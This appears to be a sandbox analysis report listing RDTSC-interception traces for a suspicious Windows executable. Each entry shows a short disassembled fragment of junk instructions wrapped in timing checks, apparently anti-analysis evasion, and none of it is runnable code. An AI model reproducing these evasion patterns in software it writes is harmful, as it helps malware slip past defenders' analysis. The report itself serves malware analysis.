Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A2F334 second address: A2F338 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A2F5EC second address: A2F5F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A2F5F7 second address: A2F5FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A2F5FB second address: A2F5FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A2F894 second address: A2F89E instructions: 0x00000000 rdtsc 0x00000002 js 00007FDFED133C4Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A2FB8D second address: A2FB91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A2FE89 second address: A2FE8D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A2FE8D second address: A2FEB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FDFECF67A73h 0x0000000c jns 00007FDFECF67A66h 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A301B0 second address: A301B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A30A68 second address: A30A7C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDFECF67A6Fh 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A33D6D second address: A33D8C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDFED133C52h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a jng 00007FDFED133C46h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A341FA second address: A341FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A34371 second address: A34384 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDFED133C4Eh 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A344FF second address: A34503 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A34503 second address: A34517 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDFED133C4Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A34517 second address: A3451B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A34661 second address: A346A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 jmp 00007FDFED133C52h 0x0000000e jmp 00007FDFED133C59h 0x00000013 pop ecx 0x00000014 jmp 00007FDFED133C4Ah 0x00000019 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A346A0 second address: A346A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A346A8 second address: A346BB instructions: 0x00000000 rdtsc 0x00000002 jno 00007FDFED133C46h 0x00000008 jo 00007FDFED133C46h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push edi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A41172 second address: A4117C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FDFECF67A66h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A413F6 second address: A413FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A413FC second address: A4140A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jl 00007FDFECF67A66h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A4140A second address: A41413 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A4156D second address: A415B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDFECF67A75h 0x00000009 popad 0x0000000a jnl 00007FDFECF67A7Eh 0x00000010 popad 0x00000011 pushad 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 jc 00007FDFECF67A66h 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e jnl 00007FDFECF67A66h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A418AD second address: A418B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A418B1 second address: A418E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDFECF67A73h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jp 00007FDFECF67A7Ah 0x00000011 pushad 0x00000012 popad 0x00000013 jmp 00007FDFECF67A72h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A42341 second address: A4234B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A42A89 second address: A42A8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A42A8F second address: A42A94 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A42A94 second address: A42A9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A409C6 second address: A409CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A409CC second address: A409FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jo 00007FDFECF67A66h 0x0000000b popad 0x0000000c pushad 0x0000000d jmp 00007FDFECF67A6Ch 0x00000012 jmp 00007FDFECF67A74h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A579EF second address: A579F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A579F5 second address: A579FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A5752D second address: A57540 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDFED133C4Dh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A57540 second address: A5754A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 pushad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A5754A second address: A57550 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A5AC9F second address: A5ACAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A5ACAC second address: A5ACB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A5ACB0 second address: A5ACB4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A5ACB4 second address: A5ACE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FDFED133C46h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edi 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007FDFED133C56h 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A5ACE0 second address: A5ACE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A6A06D second address: A6A072 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A6A072 second address: A6A078 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A6A078 second address: A6A083 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A6A083 second address: A6A09D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDFECF67A6Dh 0x00000009 pushad 0x0000000a popad 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A6A09D second address: A6A0A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A75399 second address: A7539D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A73DC9 second address: A73DF2 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FDFED133C46h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007FDFED133C56h 0x00000012 pushad 0x00000013 popad 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A73DF2 second address: A73E18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 js 00007FDFECF67A6Ch 0x0000000b jbe 00007FDFECF67A66h 0x00000011 jmp 00007FDFECF67A6Ch 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b push esi 0x0000001c pop esi 0x0000001d push edx 0x0000001e pop edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A73E18 second address: A73E1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A73E1C second address: A73E22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A73F50 second address: A73F54 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A73F54 second address: A73F84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 js 00007FDFECF67A91h 0x0000000f jmp 00007FDFECF67A6Ch 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FDFECF67A73h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A73F84 second address: A73F88 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A740AF second address: A740CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FDFECF67A6Eh 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A740CC second address: A740E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDFED133C52h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A74562 second address: A74566 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A74566 second address: A7456E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A7507C second address: A75081 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A78AAF second address: A78AB9 instructions: 0x00000000 rdtsc 0x00000002 je 00007FDFED133C46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A78AB9 second address: A78ABF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A78ABF second address: A78AC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A78AC3 second address: A78AC7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A88294 second address: A8829F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FDFED133C46h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A8810B second address: A8812F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jo 00007FDFECF67A66h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jnp 00007FDFECF67A66h 0x00000013 ja 00007FDFECF67A66h 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c push ecx 0x0000001d pop ecx 0x0000001e js 00007FDFECF67A66h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A8812F second address: A8813C instructions: 0x00000000 rdtsc 0x00000002 ja 00007FDFED133C46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A8813C second address: A88144 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A868DC second address: A868E8 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FDFED133C4Eh 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A97148 second address: A97163 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDFECF67A74h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A97163 second address: A97169 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A97169 second address: A9716D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A9716D second address: A97184 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FDFED133C46h 0x00000008 jmp 00007FDFED133C4Ah 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: AB05B3 second address: AB05B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: AB05B7 second address: AB05CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FDFED133C46h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pop edx 0x0000000f pop edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 push edi 0x00000015 pop edi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: AB05CD second address: AB05DC instructions: 0x00000000 rdtsc 0x00000002 jc 00007FDFECF67A66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: AB08D2 second address: AB0903 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDFED133C52h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FDFED133C51h 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 push edx 0x00000015 pop edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: AB0903 second address: AB0908 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: AB0908 second address: AB0912 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FDFED133C5Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: AB8516 second address: AB8520 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FDFECF67A66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: AB8520 second address: AB8525 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: AB85B5 second address: AB8691 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FDFECF67A76h 0x00000008 jmp 00007FDFECF67A6Dh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp], eax 0x00000013 jmp 00007FDFECF67A6Ch 0x00000018 push 00000004h 0x0000001a push 00000000h 0x0000001c push eax 0x0000001d call 00007FDFECF67A68h 0x00000022 pop eax 0x00000023 mov dword ptr [esp+04h], eax 0x00000027 add dword ptr [esp+04h], 00000018h 0x0000002f inc eax 0x00000030 push eax 0x00000031 ret 0x00000032 pop eax 0x00000033 ret 0x00000034 mov dword ptr [ebp+1246F2E7h], edi 0x0000003a call 00007FDFECF67A69h 0x0000003f je 00007FDFECF67A7Ch 0x00000045 pushad 0x00000046 jmp 00007FDFECF67A72h 0x0000004b pushad 0x0000004c popad 0x0000004d popad 0x0000004e push eax 0x0000004f jmp 00007FDFECF67A6Eh 0x00000054 mov eax, dword ptr [esp+04h] 0x00000058 jmp 00007FDFECF67A79h 0x0000005d mov eax, dword ptr [eax] 0x0000005f jo 00007FDFECF67A80h 0x00000065 push edi 0x00000066 jmp 00007FDFECF67A78h 0x0000006b pop edi 0x0000006c mov dword ptr [esp+04h], eax 0x00000070 push eax 0x00000071 push edx 0x00000072 pushad 0x00000073 push eax 0x00000074 push edx 0x00000075 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: AB8691 second address: AB8698 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: AB89AD second address: AB89D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDFECF67A72h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push eax 0x0000000f push edx 0x00000010 jno 00007FDFECF67A6Ch 0x00000016 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: AB89D6 second address: AB89E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FDFED133C46h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: AB89E0 second address: AB8A19 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDFECF67A6Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [eax] 0x0000000d jmp 00007FDFECF67A74h 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 push eax 0x00000017 push edx 0x00000018 je 00007FDFECF67A6Ch 0x0000001e js 00007FDFECF67A66h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: AB8A19 second address: AB8A1F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: AB8A1F second address: AB8A23 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: AB9F2B second address: AB9F31 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: AB9F31 second address: AB9F35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: AB9F35 second address: AB9F3B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: AB9F3B second address: AB9F4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 ja 00007FDFECF67A66h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 522076B second address: 522076F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
